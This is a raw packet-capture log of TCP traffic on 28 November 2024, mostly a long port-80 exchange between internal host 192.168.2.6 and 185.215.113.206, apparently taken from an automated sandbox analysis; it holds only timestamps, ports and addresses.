Nov 28, 2024 15:17:45.376118898 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.376143932 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.376157999 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.376995087 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.377043009 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.377537012 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.377593994 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.377861977 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.377902031 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.378793001 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.378806114 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.378840923 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.378845930 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.378878117 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.379699945 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.379740000 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.380069971 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.380109072 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.380609035 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.380654097 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.381079912 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.381118059 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.381580114 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.381592035 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.381633043 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.382457972 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.382509947 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.382795095 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.382972002 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.383352041 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.383404016 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.383536100 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.383609056 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.384320974 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.384366035 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.384414911 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.384450912 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.385231972 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.385277033 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.385329008 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.386125088 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.386172056 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.387044907 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.387063026 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.387090921 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.387108088 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.387118101 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.387177944 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.387939930 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.388006926 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.388120890 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.388216972 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.388839960 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.388900995 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.389728069 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.389780998 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.389792919 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.389826059 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.389851093 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.390695095 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.390783072 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.390856981 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.390908003 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.391588926 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.391642094 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.392256975 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.392313004 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.392580986 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.392594099 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.392636061 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.393481016 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.393492937 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.393532991 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.394345999 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.394464016 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.395128012 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.395178080 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.395302057 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.395322084 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.395366907 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.396239042 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.396280050 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.396958113 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.397047043 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.397121906 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.397139072 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.397207022 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.398011923 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.398061991 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.398138046 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.398257017 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.398966074 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.399020910 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.399864912 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.399883032 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.399897099 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.399924040 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.399956942 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.400757074 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.400809050 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.400939941 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.400988102 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.402642965 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:45.406791925 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:45.406820059 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:45.420783997 CET	49867	443	192.168.2.6	23.209.72.35
Nov 28, 2024 15:17:45.554702997 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.554764032 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.555094957 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.555108070 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.555154085 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.555155039 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.555196047 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.556196928 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.556210041 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.556262016 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.556931019 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.556987047 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.557226896 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.557271004 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.557296991 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.557336092 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.558151007 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.558197975 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.559051991 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.559067965 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.559079885 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.559107065 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.559139013 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.559979916 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.560048103 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.560286045 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.560324907 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.560955048 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.561615944 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.561790943 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.561803102 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.561836958 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.561841011 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.561871052 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.562670946 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.562722921 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.563249111 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.563298941 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.563591003 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.563730001 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.564133883 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.564177990 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.564523935 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.564572096 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.565010071 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.565057039 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.565462112 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.565560102 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.565577030 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.565589905 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.566428900 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.566483974 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.567152023 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.567213058 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.567279100 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.567337990 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.567734957 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.567873955 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.568198919 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.568236113 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.568270922 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.569156885 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.569205046 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.569472075 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.569520950 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.570019007 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.570067883 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.570363045 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.570410967 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.570965052 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.571041107 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.571110964 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.571152925 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.571922064 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.571933031 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.571969986 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:45.571980953 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.572801113 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.572851896 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.573486090 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.573534012 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.573724031 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.573766947 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.574548006 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.574614048 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.574620008 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.574635983 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.574673891 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.574733973 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:45.574801922 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:45.574803114 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:45.574882984 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:45.574951887 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:45.575531960 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.575602055 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.575638056 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.575891972 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.576445103 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.576504946 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.576684952 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.576735020 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.577375889 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.577507973 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.577583075 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.577666044 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.578301907 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.578350067 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.578377008 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.578444004 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.579072952 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:45.579180002 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.579226971 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.580116987 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.580132961 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.580152035 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.580179930 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.580205917 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.581007957 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.581053972 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.581186056 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.581295013 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.582030058 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.582077980 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.582904100 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.582920074 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.582952023 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.582966089 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.583061934 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.583102942 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.583779097 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.583828926 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.584232092 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.584286928 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.584692001 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.584703922 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.584745884 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.585633993 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.585647106 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.585700989 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.586544037 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.586590052 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.586627007 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.586669922 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.587433100 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.587480068 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.588361025 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.588372946 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.588385105 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.588427067 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.589313984 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.589378119 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.590158939 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.590173006 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.590209961 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.590214968 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.590248108 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.591080904 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.591142893 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.591990948 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.592004061 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.592015982 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.592062950 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.592072010 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.592907906 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.592957973 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.593230963 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.593445063 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.593808889 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.593914986 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.594718933 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.594731092 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.594768047 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.594769001 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.594938993 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.595638990 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.595694065 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.596210957 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.596260071 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.596535921 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.596607924 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.596807003 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.596852064 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.597449064 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.597500086 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.597594976 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.597642899 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.598402023 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.598447084 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.599307060 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.599323988 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.599343061 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.599347115 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.599368095 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.599376917 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.599936962 CET	443	49868	23.209.72.35	192.168.2.6
Nov 28, 2024 15:17:45.600227118 CET	49868	443	192.168.2.6	23.209.72.35
Nov 28, 2024 15:17:45.600230932 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.600255013 CET	443	49868	23.209.72.35	192.168.2.6
Nov 28, 2024 15:17:45.600298882 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.600599051 CET	443	49868	23.209.72.35	192.168.2.6
Nov 28, 2024 15:17:45.600900888 CET	49868	443	192.168.2.6	23.209.72.35
Nov 28, 2024 15:17:45.600965977 CET	443	49868	23.209.72.35	192.168.2.6
Nov 28, 2024 15:17:45.601140022 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.601151943 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.601187944 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.601191044 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.601223946 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.602046013 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.602092028 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.604336977 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.604382992 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.623332024 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:45.649542093 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:45.652131081 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:45.652184010 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:45.652664900 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:45.652677059 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:45.717273951 CET	49868	443	192.168.2.6	23.209.72.35
Nov 28, 2024 15:17:45.756042957 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.756098986 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.756211042 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.756342888 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.756438017 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.756479979 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.756510973 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.756553888 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.757379055 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.757426977 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.757462978 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.757504940 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.758286953 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.758533955 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.758580923 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.758660078 CET	49804	80	192.168.2.6	185.215.113.206
